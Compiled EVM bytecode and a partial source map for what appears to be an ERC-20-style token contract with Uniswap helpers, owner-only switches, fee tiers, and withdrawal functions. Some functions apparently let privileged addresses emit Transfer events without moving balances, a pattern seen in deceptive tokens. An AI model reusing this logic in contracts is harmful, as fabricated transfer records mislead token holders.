1169160208101359091169060400135610dcb565b34801561031857600080fd5b50610321610e6a565b604080516001600160a01b039092168252519081900360200190f35b34801561034957600080fd5b50610352610e79565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561038c578181015183820152602001610374565b50505050905090810190601f1680156103b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d357600080fd5b50610400600480360360408110156103ea57600080fd5b506001600160a01b038135169060200135610f04565b604080519115158252519081900360200190f35b34801561042057600080fd5b50610429610fe4565b60408051918252519081900360200190f35b34801561044757600080fd5b506104006004803603606081101561045e57600080fd5b506001600160a01b0381358116916020810135909116906040013561105a565b34801561048a57600080fd5b50610400600480360360608110156104a157600080fd5b506001600160a01b03813581169160208101359091169060400135611827565b3480156104cd57600080fd5b50610400600480360360408110156104e457600080fd5b810190602081018135600160201b8111156104fe57600080fd5b82018360208201111561051057600080fd5b803590602001918460018302840111600160201b8311171561053157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611899915050565b34801561058057600080fd5b506102c76004803603606081101561059757600080fd5b506001600160a01b0381358116916020810135909116906040013561197c565b3480156105c357600080fd5b506102c7600480360360208110156105da57600080fd5b50356119ea565b3480156105ed57600080fd5b506105f6611a06565b6040805160ff9092168252519081900360200190f35b34801561061857600080fd5b506102c7600480360361012081101561063057600080fd5b810190602081018135600160201b81111561064a57600080fd5b82018360208201111561065c57600080fd5b803590602001918460018302840111600160201b8311171561067d57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156106cf57600080fd5b8201836020820111156106e157600080fd5b803590602001918460018302840111600160201b8311171561070257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505060ff833516935050506020810135906001600160a01b0360408201358116916060810135821691608082013581169160a081013582169160c09091013516611a0f565b34801561078857600080fd5b506104006004803603604081101561079f57600080fd5b810190602081018135600160201b8111156107b957600080fd5b8201836020820111156107cb57600080fd5b803590602001918460018302840111600160201b831117156107ec57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611d5f915050565b34801561083b57600080fd5b506104296004803603602081101561085257600080fd5b5035611eee565b34801561086557600080fd5b50610400612113565b34801561087a57600080fd5b506102c76004803603602081101561089157600080fd5b50356001600160a01b0316612123565b3480156108ad57600080fd5b506102c761215c565b3480156108c257600080fd5b506108f1600480360360408110156108d957600080fd5b506001600160a01b03813581169160200135166121c6565b60405180836001600160a01b03168152602001826001600160a01b031681526020019250505060405180910390f35b34801561092c57600080fd5b506104296004803603604081101561094357600080fd5b506001600160a01b03813581169160200135166122a4565b34801561096757600080fd5b506102c76004803603604081101561097e57600080fd5b508035906020013515156122c1565b34801561099957600080fd5b506102c7612345565b3480156109ae57600080fd5b50610429600480360360208110156109c557600080fd5b50356001600160a01b03166123a6565b3480156109e157600080fd5b50610400612429565b3480156109f657600080fd5b50610400612439565b348015610a0b57600080fd5b50610321612447565b348015610a2057600080fd5b5061042960048036036020811015610a3757600080fd5b50356001600160a01b0316612456565b348015610a5357600080fd5b506103216124a7565b348015610a6857600080fd5b506103216124b6565b348015610a7d57600080fd5b5061040060048036036020811015610a9457600080fd5b50356001600160a01b03166124c5565b348015610ab057600080fd5b506103526124da565b348015610ac557600080fd5b506102c760048036036020811015610adc57600080fd5b5035612535565b348015610aef57600080fd5b506102c760048036036020811015610b0657600080fd5b5035612596565b348015610b1957600080fd5b5061040060048036036040811015610b3057600080fd5b506001600160a01b0381351690602001356125e3565b348015610b5257600080fd5b506102c760048036036020811015610b6957600080fd5b50356001600160a01b0316612d5f565b348015610b8557600080fd5b506102c760048036036040811015610b9c57600080fd5b506001600160a01b0381358116916020013516612dab565b348015610bc057600080fd5b5061040060048036036080811015610bd757600080fd5b508035906001600160a01b036020820135811691604081013582169160609091013516612e2a565b348015610c0b57600080fd5b50610400612edf565b348015610c2057600080fd5b5061042960048036036040811015610c3757600080fd5b506001600160a01b0381358116916020013516612ee8565b348015610c5b57600080fd5b5061032160048036036060811015610c7257600080fd5b506001600160a01b038135811691602081013582169160409091013516612f29565b348015610ca057600080fd5b5061040060048036036040811015610cb757600080fd5b5060ff81351690602001351515612fe9565b348015610cd557600080fd5b506102c760048036036020811015610cec57600080fd5b50356001600160a01b03166130cd565b348015610d0857600080fd5b506102c760048036036040811015610d1f57600080fd5b506001600160a01b038135169060200135613152565b348015610d4157600080fd5b506102c760048036036020811015610d5857600080fd5b50356131a4565b348015610d6b57600080fd5b506103216131c0565b348015610d8057600080fd5b506103216131cf565b6001546001600160a01b03163314610da057600080fd5b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6001546001600160a01b03163314610de257600080fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d6020811015610e6357600080fd5b5050505050565b6001546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610efc5780601f10610ed157610100808354040283529160200191610efc565b820191906000526020600020905b815481529060010190602001808311610edf57829003601f168201915b505050505081565b60006001600160a01b038316610f1957600080fd5b336000818152600c602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600a546040805163052f221360e11b815233600482015290516001600160a01b0390921691630a5e44269160248082019260009290919082900301818387803b158015610fc357600080fd5b505af1158015610fd7573d6000803e3d6000fd5b5060019695505050505050565b600a5460408051636c9c2faf60e01b815290516000926001600160a01b031691636c9c2faf916004808301926020929190829003018186803b15801561102957600080fd5b505afa15801561103d573d6000803e3d6000fd5b505050506040513d602081101561105357600080fd5b5051905090565b600a54604080516370a0823160e01b81526001600160a01b038681166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156110ab57600080fd5b505afa1580156110bf573d6000803e3d6000fd5b505050506040513d60208110156110d557600080fd5b50518211156110e357600080fd5b6001600160a01b0384166000908152600c6020908152604080832033845290915290205482111561111357600080fd5b6011546301000000900460ff1615156001141561118c57336000908152600e602052604090205460ff1615156001148061116a57506001600160a01b0383166000908152600e602052604090205460ff1615156001145b1561117e576011805460ff1916905561118c565b6011805460ff191660011790555b60115460ff16151560011415611557576001600160a01b0384163314156111b257611557565b600d546001600160a01b038481169116148015906111de57506006546001600160a01b03848116911614155b15611557576000670de0b6b3a7640000600f54816111f857fe5b0460020283106112085750601482045b670de0b6b3a7640000600f548161121b57fe5b04600a02831061122b5750600a82045b670de0b6b3a7640000600f548161123e57fe5b0460640283106112545761125183611eee565b90505b600b54604080516370a0823160e01b81523060048201529051670de0b6b3a76400008402926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156112a857600080fd5b505afa1580156112bc573d6000803e3d6000fd5b505050506040513d60208110156112d257600080fd5b50511061137057600b54604080516323b872dd60e01b81523060048201526001600160a01b038781166024830152670de0b6b3a764000085026044830152915191909216916323b872dd9160648083019260209291908290030181600087803b15801561133e57600080fd5b505af1158015611352573d6000803e3d6000fd5b505050506040513d602081101561136857600080fd5b506115559050565b6009546001600160a01b03166000908152600e602052604090205460ff16151560011461140657600b546040805163140e25ad60e31b8152670de0b6b3a76400008602600482015290516001600160a01b039092169163a0712d689160248082019260009290919082900301818387803b1580156113ed57600080fd5b505af1158015611401573d6000803e3d6000fd5b505050505b6009546001600160a01b03166000908152600e602052604090205460ff161515600114156114c357600b54600954604080516323b872dd60e01b81526001600160a01b039283166004820152306024820152670de0b6b3a764000087026044820152905191909216916323b872dd9160648083019260209291908290030181600087803b15801561149657600080fd5b505af11580156114aa573d6000803e3d6000fd5b505050506040513d60208110156114c057600080fd5b50505b600b54604080516323b872dd60e01b81523060048201526001600160a01b038781166024830152670de0b6b3a764000085026044830152915191909216916323b872dd9160648083019260209291908290030181600087803b15801561152857600080fd5b505af115801561153c573d6000803e3d6000fd5b505050506040513d602081101561155257600080fd5b50505b505b601154600160201b900460ff161515600114156115d357336000908152600e602052604090205460ff161515600114806115ae57506001600160a01b0383166000908152600e602052604090205460ff1615156001145b156115c3576011805461ff00191690556115d3565b6011805461ff0019166101001790555b60115460ff610100909104161515600114801561164857506000546001600160a01b03858116911614158061161657506000546001600160a01b03848116911614155b8061162f57506001546001600160a01b03858116911614155b8061164857506001546001600160a01b03848116911614155b15611703576001600160a01b03841633141561166357611703565b6001600160a01b0383161580159061168957506006546001600160a01b03848116911614155b1561170357600061169983611eee565b600a5460408051639d50fb2d60e01b81526004810184905290519293506001600160a01b0390911691639d50fb2d9160248082019260009290919082900301818387803b1580156116e957600080fd5b505af11580156116fd573d6000803e3d6000fd5b50505050505b600a546040805163d96ca0b960e01b81526001600160a01b0387811660048301528681166024830152604482018690529151919092169163d96ca0b991606480830192600092919082900301818387803b15801561176057600080fd5b505af1158015611774573d6000803e3d6000fd5b5050600a546040805163282c97a160e01b81526001600160a01b038981166004830152888116602483015260448201889052915191909216935063282c97a19250606480830192600092919082900301818387803b1580156117d557600080fd5b505af11580156117e9573d6000803e3d6000fd5b50506040805185815290516001600160a01b038088169450881692506000805160206132d98339815191529181900360200190a35060019392505050565b6008546000906001600160a01b031633148061184d57506001546001600160a01b031633145b61185657600080fd5b826001600160a01b0316846001600160a01b03166000805160206132d9833981519152846040518082815260200191505060405180910390a35060019392505050565b6008546000906001600160a01b03163314806118bf57506001546001600160a01b031633145b6118c857600080fd5b600a546040805163260fcaa760e01b815260248101859052600481019182528551604482015285516001600160a01b039093169263260fcaa79287928792829160640190602086019080838360005b8381101561192f578181015183820152602001611917565b50505050905090810190601f16801561195c5780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b158015610fc357600080fd5b6001546001600160a01b0316331461199357600080fd5b816001600160a01b031663095ea7b384836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610e3957600080fd5b6001546001600160a01b03163314611a0157600080fd5b601055565b60045460ff1681565b600154600160a81b900460ff1680611a2a5750611a2a6131de565b80611a3f5750600154600160a01b900460ff16155b611a7a5760405162461bcd60e51b815260040180806020018281038252602e8152602001806132ab602e913960400191505060405180910390fd5b600154600160a81b900460ff16158015611ab1576001805460ff60a01b1960ff60a81b19909116600160a81b1716600160a01b1790555b600080546001600160a01b038089166001600160a01b03199283161790925560018054928516929091169190911790558951611af49060029060208d01906131e4565b508851611b089060039060208c01906131e4565b506004805460ff191660ff8a161781556005889055600780546001600160a01b0319166001600160a01b0388811691909117918290556040805163c45a015560e01b81529051600094939092169263c45a0155928282019260209290829003018186803b158015611b7857600080fd5b505afa158015611b8c573d6000803e3d6000fd5b505050506040513d6020811015611ba257600080fd5b5051600754604080516315ab88c960e31b815290519293506000926001600160a01b039092169163ad5c464891600480820192602092909190829003018186803b158015611bef57600080fd5b505afa158015611c03573d6000803e3d6000fd5b505050506040513d6020811015611c1957600080fd5b50519050611c28828230612f29565b600680546001600160a01b03199081166001600160a01b03938416179182905560088054909116898416179055600a546005546000805460408051631eefb7f760e01b815260048101949094523060248501529086166044840152938516606483015292519190931692631eefb7f792608480830193919282900301818387803b158015611cb557600080fd5b505af1158015611cc9573d6000803e3d6000fd5b50506000805460055460408051918252516001600160a01b0390921694509192506000805160206132d98339815191529181900360200190a35050600980546001600160a01b0319166001600160a01b038581169190911791829055166000908152600e60205260409020805460ff191660011790558015611d53576001805460ff60a81b191690555b50505050505050505050565b6008546000906001600160a01b0316331480611d8557506001546001600160a01b031633145b611d8e57600080fd5b600a5460408051634b96b63760e01b815290516000926001600160a01b031691634b96b637916004808301926020929190829003018186803b158015611dd357600080fd5b505afa158015611de7573d6000803e3d6000fd5b505050506040513d6020811015611dfd57600080fd5b5051600a546040805163f7c70ac360e01b8152905192935060009283926001600160a01b03169163f7c70ac3916004808301926020929190829003018186803b158015611e4957600080fd5b505afa158015611e5d573d6000803e3d6000fd5b505050506040513d6020811015611e7357600080fd5b505190506000805b868163ffffffff161015611ee057600160601b8460208a010151049150816001600160a01b0316836001600160a01b03166000805160206132d9833981519152876040518082815260200191505060405180910390a360149390930192600101611e7b565b506001979650505050505050565b600080670de0b6b3a7640000600f5481611f0457fe5b04600a028310611f12575060145b670de0b6b3a7640000600f5481611f2557fe5b046014028310611f33575060285b670de0b6b3a7640000600f5481611f4657fe5b04601e028310611f545750603c5b670de0b6b3a7640000600f5481611f6757fe5b046028028310611f75575060505b670de0b6b3a7640000600f5481611f8857fe5b046032028310611f96575060645b670de0b6b3a7640000600f5481611fa957fe5b04603c028310611fb7575060785b670de0b6b3a7640000600f5481611fca57fe5b046046028310611fd85750608c5b670de0b6b3a7640000600f5481611feb57fe5b046050028310611ff9575060a05b670de0b6b3a7640000600f548161200c57fe5b04605a02831061201a575060b45b670de0b6b3a7640000600f548161202d57fe5b04606402831061203b575060c85b670de0b6b3a7640000600f548161204e57fe5b0460c802831061205d57506101905b670de0b6b3a7640000600f548161207057fe5b0461012c02831061208057506102585b670de0b6b3a7640000600f548161209357fe5b046101900283106120a357506103205b670de0b6b3a7640000600f54816120b657fe5b046101f40283106120c657506103e85b670de0b6b3a7640000600f54816120d957fe5b046102580283106120e957506104b05b60115462010000900460ff1615156001141561210d57601054811061210d57506010545b92915050565b601154600160201b900460ff1690565b6001546001600160a01b0316331461213a57600080fd5b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b600a60009054906101000a90046001600160a01b03166001600160a01b0316634e71d92d6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156121ac57600080fd5b505af11580156121c0573d6000803e3d6000fd5b50505050565b600080826001600160a01b0316846001600160a01b0316141561221a5760405162461bcd60e51b81526004018080602001828103825260258152602001806132866025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b03161061223a57828461223d565b83835b90925090506001600160a01b03821661229d576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b600c60209081526000928352604080842090915290825290205481565b6001546001600160a01b031633146122d857600080fd5b816001141561230a576011805460ff191682151560011490811763ff0000001916630100000091909102179055612341565b8160021415612341576011805461ff0019166101008315156001149081029190911764ff000000001916600160201b919091021790555b5050565b6000546001600160a01b0316331461235c57600080fd5b600080546040516001600160a01b03909116907fb91e5e5588ef972137c14d2d88a5001c28bc0ef9ddb2cd12344976bce6fbe499908390a3600080546001600160a01b0319169055565b600a54604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156123f757600080fd5b505afa15801561240b573d6000803e3d6000fd5b505050506040513d602081101561242157600080fd5b505192915050565b6011546301000000900460ff1690565b601154610100900460ff1690565b600d546001600160a01b031681565b600a5460408051630873d6db60e41b81526001600160a01b0384811660048301529151600093929092169163873d6db091602480820192602092909190829003018186803b1580156123f757600080fd5b600b546001600160a01b031681565b6000546001600160a01b031681565b600e6020526000908152604090205460ff1681565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610efc5780601f10610ed157610100808354040283529160200191610efc565b600a5460408051639d50fb2d60e01b81526004810184905290516001600160a01b0390921691639d50fb2d9160248082019260009290919082900301818387803b15801561258257600080fd5b505af1158015610e63573d6000803e3d6000fd5b600a546040805163140e25ad60e31b81526004810184905290516001600160a01b039092169163a0712d689160248082019260009290919082900301818387803b15801561258257600080fd5b600a54604080516370a0823160e01b8152336004820152905160009284926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561263357600080fd5b505afa158015612647573d6000803e3d6000fd5b505050506040513d602081101561265d57600080fd5b5051101561266a57600080fd5b6011546301000000900460ff161515600114156126e357336000908152600e602052604090205460ff161515600114806126c157506001600160a01b0383166000908152600e602052604090205460ff1615156001145b156126d5576011805460ff191690556126e3565b6011805460ff191660011790555b60115460ff16151560011415612a9c576001600160a01b03831633141561270957612a9c565b6001600160a01b0383161580159061272f57506006546001600160a01b03848116911614155b15612a9c576000670de0b6b3a7640000600f548161274957fe5b0460020283106127595750601482045b670de0b6b3a7640000600f548161276c57fe5b04600a02831061277c5750600a82045b670de0b6b3a7640000600f548161278f57fe5b0460640283106127a5576127a283611eee565b90505b600b54604080516370a0823160e01b81523060048201529051670de0b6b3a76400008402926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156127f957600080fd5b505afa15801561280d573d6000803e3d6000fd5b505050506040513d602081101561282357600080fd5b5051106128bb57600b546040805163a9059cbb60e01b81526001600160a01b038781166004830152670de0b6b3a7640000850260248301529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561288957600080fd5b505af115801561289d573d6000803e3d6000fd5b505050506040513d60208110156128b357600080fd5b50612a9a9050565b6009546001600160a01b03166000908152600e602052604090205460ff16151560011461295157600b546040805163140e25ad60e31b8152670de0b6b3a76400008602600482015290516001600160a01b039092169163a0712d689160248082019260009290919082900301818387803b15801561293857600080fd5b505af115801561294c573d6000803e3d6000fd5b505050505b6009546001600160a01b03166000908152600e602052604090205460ff16151560011415612a0e57600b54600954604080516323b872dd60e01b81526001600160a01b039283166004820152306024820152670de0b6b3a764000087026044820152905191909216916323b872dd9160648083019260209291908290030181600087803b1580156129e157600080fd5b505af11580156129f5573d6000803e3d6000fd5b505050506040513d6020811015612a0b57600080fd5b50505b600b546040805163a9059cbb60e01b81526001600160a01b038781166004830152670de0b6b3a7640000850260248301529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015612a6d57600080fd5b505af1158015612a81573d6000803e3d6000fd5b505050506040513d6020811015612a9757600080fd5b50505b505b601154600160201b900460ff16151560011415612b1857336000908152600e602052604090205460ff16151560011480612af357506001600160a01b0383166000908152600e602052604090205460ff1615156001145b15612b08576011805461ff0019169055612b18565b6011805461ff0019166101001790555b60115460ff6101009091041615156001148015612b8757506000546001600160a01b031633141580612b5857506000546001600160a01b03848116911614155b80612b6e57506001546001600160a01b03163314155b80612b8757506001546001600160a01b03848116911614155b15612c42576001600160a01b038316331415612ba257612c42565b6001600160a01b03831615801590612bc857506006546001600160a01b03848116911614155b15612c42576000612bd883611eee565b600a5460408051639d50fb2d60e01b81526004810184905290519293506001600160a01b0390911691639d50fb2d9160248082019260009290919082900301818387803b158015612c2857600080fd5b505af1158015612c3c573d6000803e3d6000fd5b50505050505b600a5460408051633790767d60e01b81523360048201526001600160a01b0386811660248301526044820186905291519190921691633790767d91606480830192600092919082900301818387803b158015612c9d57600080fd5b505af1158015612cb1573d6000803e3d6000fd5b5050600a546040805163282c97a160e01b81523360048201526001600160a01b03888116602483015260448201889052915191909216935063282c97a19250606480830192600092919082900301818387803b158015612d1057600080fd5b505af1158015612d24573d6000803e3d6000fd5b50506040805185815290516001600160a01b03871693503392506000805160206132d98339815191529181900360200190a350600192915050565b6000546001600160a01b03163314612d7657600080fd5b6001600160a01b038116612d8957600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b03163314612dc257600080fd5b6040805163f2fde38b60e01b81526001600160a01b0383811660048301529151849283169163f2fde38b91602480830192600092919082900301818387803b158015612e0d57600080fd5b505af1158015612e21573d6000803e3d6000fd5b50505050505050565b600080546001600160a01b0316331480612e4e57506001546001600160a01b031633145b612e5757600080fd5b600a5460408051631eefb7f760e01b8152600481018890526001600160a01b0387811660248301528681166044830152858116606483015291519190921691631eefb7f791608480830192600092919082900301818387803b158015612ebc57600080fd5b505af1158015612ed0573d6000803e3d6000fd5b50600198975050505050505050565b60115460ff1690565b60006001600160a01b038216612efd57600080fd5b506001600160a01b039182166000908152600c6020908152604080832093909416825291909152205490565b6000806000612f3885856121c6565b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b6001546000906001600160a01b0316331461300357600080fd5b8260ff1660011415613025576011805460ff19166001841515141790556130c4565b8260ff166002141561304c576011805463ff000000191683156301000000021790556130c4565b8260ff1660031415613073576011805461ff001916831515600114610100021790556130c4565b8260ff166004141561309f576011805464ff000000001916831515600114600160201b021790556130c4565b8260ff16600514156130c4576011805462ff0000191683151560011462010000021790555b50600192915050565b6000546001600160a01b031633146130e457600080fd5b6001600160a01b0381166130f757600080fd5b600080546040516001600160a01b03808516939216917fb91e5e5588ef972137c14d2d88a5001c28bc0ef9ddb2cd12344976bce6fbe49991a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b0316331461316957600080fd5b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561319f573d6000803e3d6000fd5b505050565b6001546001600160a01b031633146131bb57600080fd5b600f55565b6007546001600160a01b031681565b6006546001600160a01b031681565b303b1590565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261321a5760008555613260565b82601f1061323357805160ff1916838001178555613260565b82800160010185558215613260579182015b82811115613260578251825591602001919060010190613245565b5061326c929150613270565b5090565b5b8082111561326c576000815560010161327156fe556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122082939872d14b4b15f45e0840254a51a6f8ecf10f4546010e5869700ec9d02ba364736f6c63430007060033

Deployed ByteCode Sourcemap

6839:16453:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20855:168;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;20855:168:0;;;;;;;;;;:::i;:::-;;23109:142;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;23109:142:0;;;;;;;;;;;;;;;;;:::i;4665:22::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;4665:22:0;;;;;;;;;;;;;;6923:18;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18174:298;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;18174:298:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;8986:95;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;15189:2749;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;15189:2749:0;;;;;;;;;;;;;;;;;:::i;17946:222::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;17946:222:0;;;;;;;;;;;;;;;;;:::i;19288:219::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;19288:219:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;19288:219:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;19288:219:0;;-1:-1:-1;;19288:219:0;;;-1:-1:-1;19288:219:0;;-1:-1:-1;;19288:219:0:i;22801:174::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;22801:174:0;;;;;;;;;;;;;;;;;:::i;20495:151::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;20495:151:0;;:::i;6976:23::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;7562:905;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;7562:905:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;7562:905:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7562:905:0;;;;;;;;-1:-1:-1;7562:905:0;;-1:-1:-1;;;;;7562:905:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;7562:905:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7562:905:0;;-1:-1:-1;;7562:905:0;;;;;-1:-1:-1;;;7562:905:0;;;;;-1:-1:-1;;;;;7562:905:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;18678:602::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;18678:602:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;18678:602:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;18678:602:0;;-1:-1:-1;;18678:602:0;;;-1:-1:-1;18678:602:0;;-1:-1:-1;;18678:602:0:i;10327:2143::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;10327:2143:0;;:::i;20038:90::-;;;;;;;;;;;;;:::i;19515:232::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;19515:232:0;-1:-1:-1;;;;;19515:232:0;;:::i;9332:62::-;;;;;;;;;;;;;:::i;21428:347::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;21428:347:0;;;;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;21428:347:0;;;;;;-1:-1:-1;;;;;21428:347:0;;;;;;;;;;;;;;;;8816:62;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;8816:62:0;;;;;;;;;;:::i;20134:355::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;20134:355:0;;;;;;;;;:::i;5188:144::-;;;;;;;;;;;;;:::i;9089:113::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9089:113:0;-1:-1:-1;;;;;9089:113:0;;:::i;19848:90::-;;;;;;;;;;;;;:::i;19944:88::-;;;;;;;;;;;;;:::i;8885:20::-;;;;;;;;;;;;;:::i;9210:113::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9210:113:0;-1:-1:-1;;;;;9210:113:0;;:::i;7516:33::-;;;;;;;;;;;;;:::i;4638:20::-;;;;;;;;;;;;;:::i;8938:39::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8938:39:0;-1:-1:-1;;;;;8938:39:0;;:::i;6948:21::-;;;;;;;;;;;;;:::i;9402:82::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9402:82:0;;:::i;9492:80::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9492:80:0;;:::i;12478:2703::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;12478:2703:0;;;;;;;;:::i;21029:208::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;21029:208:0;-1:-1:-1;;;;;21029:208:0;;:::i;21245:175::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;21245:175:0;;;;;;;;;;:::i;22354:439::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;22354:439:0;;;-1:-1:-1;;;;;22354:439:0;;;;;;;;;;;;;;;;;;;;;:::i;19753:89::-;;;;;;;;;;;;;:::i;18484:186::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;18484:186:0;;;;;;;;;;:::i;21867:479::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;21867:479:0;;;;;;;;;;;;;;;;;;;:::i;9752:466::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9752:466:0;;;;;;;;;;;:::i;4976:204::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;4976:204:0;-1:-1:-1;;;;;4976:204:0;;:::i;22985:116::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;22985:116:0;;;;;;;;:::i;20652:153::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;20652:153:0;;:::i;7110:24::-;;;;;;;;;;;;;:::i;7086:20::-;;;;;;;;;;;;;:::i;20855:168::-;4940:7;;-1:-1:-1;;;;;4940:7:0;4926:10;:21;4918:30;;;;;;-1:-1:-1;;;;;20940:16:0;;;::::1;;::::0;;;:7:::1;:16;::::0;;;;:26;;-1:-1:-1;;20940:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;20855:168::o;23109:142::-;4940:7;;-1:-1:-1;;;;;4940:7:0;4926:10;:21;4918:30;;;;;;23212:5:::1;-1:-1:-1::0;;;;;23205:22:0::1;;23228:6;23236;23205:38;;;;;;;;;;;;;-1:-1:-1::0;;;;;23205:38:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;;;;;23109:142:0:o;4665:22::-;;;-1:-1:-1;;;;;4665:22:0;;:::o;6923:18::-;;;;;;;;;;;;;;-1:-1:-1;;6923:18:0;;;;;;;;;;;;;;;;;;;;;